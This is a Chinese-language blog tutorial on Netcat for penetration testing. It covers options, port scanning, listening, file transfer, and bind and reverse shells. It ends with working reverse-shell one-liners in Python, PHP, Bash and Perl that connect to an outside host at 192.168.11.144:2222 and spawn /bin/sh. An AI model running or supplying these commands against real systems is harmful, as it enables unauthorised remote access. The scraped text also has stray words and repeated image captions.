netcat使用

前言

最近在作滲透測試的時候遇到了端口監聽和shell的反彈問題,在這個過程當中本身對Netcat這一款神器有了新的認識,現將一些Netcat的用法作一個小總結,但願對各位有幫助!php

Netcat簡介

Netcat是一款很是出名的網絡工具,簡稱「NC」,有滲透測試中的「瑞士軍刀」之稱。它能夠用做端口監聽、端口掃描、遠程文件傳輸、還能夠實現遠程shell等功能。總之功能強大,能夠用一句較爲風趣的話來描述NC的強大——「你的想象力是侷限NC的瓶頸」。python

Netcat選項參數說明

最近在作滲透測試的時候遇到了端口監聽和shell的反彈問題,在這個過程當中本身對Netcat這一款神器有了新的認識,現將一些Netcat的用法作一個小總結,但願對各位有幫助!

 

功能說明:端口掃描、端口監聽、遠程文件傳輸、遠程shell等等;nginx

語  法:nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通訊端口>][-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通訊端口...]shell

參  數:apache

-g <網關> 設置路由器躍程通訊網關,最多可設置8個;bash

 -G <指向器數目> 設置來源路由指向器,其數值爲4的倍數;服務器

 -h 在線幫助; 網絡

-i <延遲秒數> 設置時間間隔,以便傳送信息及掃描通訊端口;socket

 -l 使用監聽模式,管控傳入的資料;tcp

 -n 直接使用IP地址,而不經過域名服務器;

 -o <輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存;

 -p <通訊端口> 設置本地主機使用的通訊端口;

 -r 亂數指定本地與遠端主機的通訊端口;

 -s <來源位址> 設置本地主機送出數據包的IP地址;

 -u 使用UDP傳輸協議;

 -v 顯示指令執行過程;

 -w <超時秒數> 設置等待連線的時間;

 -z 使用0輸入/輸出模式,只在掃描通訊端口時使用。

Netcat簡易使用

鏈接到遠程主機

 

命令:nc  -nvv Targert_IP  Targert_Port

 

鏈接到遠程主機

監聽本地主機

 

命令:nc  -l  -p Local_Port

 

監聽本地主機

端口掃描

掃描指定主機的單一端口是否開放

 

格式:nc  -v  target_IP  target_Port

 

端口掃描

掃描指定主機的某個端口段的端口開放信息

 

格式:nc  -v  -z  Target_IP   Target_Port_Start  -  Target_Port_End

 

端口掃描

掃描指定主機的某個UDP端口段,而且返回端口信息

 

格式:nc -v   -z  -u  Target_IP  Target_Port_Start   -   Target_Port_End

 

端口掃描

掃描指定主機的端口段信息,而且設置超時時間爲3秒

 

格式:nc  -vv(-v) -z  -w  time Target_IP   Target_Port_Start-Targert_Port_End

 

端口掃描

端口監聽

監聽本地端口

 

格式:nc  -l  -p  local_Port

 

端口監聽

端口監聽

端口監聽

注:先設置監聽(不能出現端口衝突),以後若是有外來訪問則輸出該詳細信息到命令行

監聽本地端口,而且將監聽到的信息保存到指定的文件中

 

格式:nc -l -p local_Port > target_File

端口監聽

端口監聽

端口監聽

鏈接遠程系統

 

格式:nc Target_IP  Target_Port

 

鏈接遠程系統

以後能夠運行HTTP請求

鏈接遠程系統

FTP匿名探測

 

格式:nc Targert_IP  21

 

鏈接遠程系統

文件傳輸

傳輸端:

 

格式:nc  Targert_IP  Targert_Port  <  Targert_File

 

鏈接遠程系統

鏈接遠程系統

接收端:

 

格式:nc   -l  Local_Port  >  Targert_File

 

鏈接遠程系統

鏈接遠程系統

簡易聊天

本地主機

命令:nc   -l   8888

簡易聊天

遠程主機

命令:nc Targert_IP    Targert_Port

簡易聊天

蜜罐

做爲蜜罐使用1:

命令:nc -L -p  Port

注:使用「-L」參數能夠不停的監聽某一個端口,知道Ctrl+C爲止

做爲蜜罐使用2:

命令:nc -L -p  Port >log.txt

注:使用「-L」參數能夠不停的監聽某一個端口,知道Ctrl+C爲止,同時把結果輸出到log.txt文件中,若是把「>」改成「>>」即追加到文件以後。

這一個命令參數「-L」在Windows中有,如今的Linux中是沒有這個選項的,可是本身能夠去找找,這裏只是想到了以前的這個使用,因此提出來簡單介紹一下!

獲取shell

簡述:獲取shell分爲兩種,一種是正向shell,一種是方向shell。若是客戶端鏈接服務器端,想要獲取服務器端的shell,那麼稱爲正向shell,若是是客戶端鏈接服務器,服務器端想要獲取客戶端的shell,那麼稱爲反向shell

正向shell

本地主機:

命令:nc   Targert_IP  Targert_Port 

本地主機

目標主機:

命令:nc  -lvp  Targert_Port   -e  /bin/sh  

目標主機

反向shell

本地主機:

命令: nc -lvp  Target_Port

本地主機

目標主機:

命令: nc  Targert_IP Targert_Port  -e /bin/sh

目標主機

特殊狀況——目標主機上沒有Netcat,如何獲取反向shell

在通常狀況下,目標主機上通常都是不會有Netcat的,此時就須要使用其餘替代的方法來實現反向連接達到攻擊主機的目的,下面簡單的介紹幾種反向shell的設置。

python反向shell

目標主機端執行語句:

 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

本地主機

本地主機

目標主機

目標主機

PHP反向shell

目標主機端執行語句:

 

php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

本地主機:

 

本地主機

目標主機:

目標主機

Bash反向shell

目標主機端執行語句:

bash -i>&/dev/tcp/192.168.11.144/2222 0>&1

本地主機:

本地主機

目標主機:

目標主機

Perl反向shell

目標主機端執行語句:

 

 

perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

本地主機

 

本地主機

目標主機

 

目標主機

注:書寫的時候必定要注意這裏單引號、雙引號是英文格式的,否則會報錯誤!

相關文章
相關標籤/搜索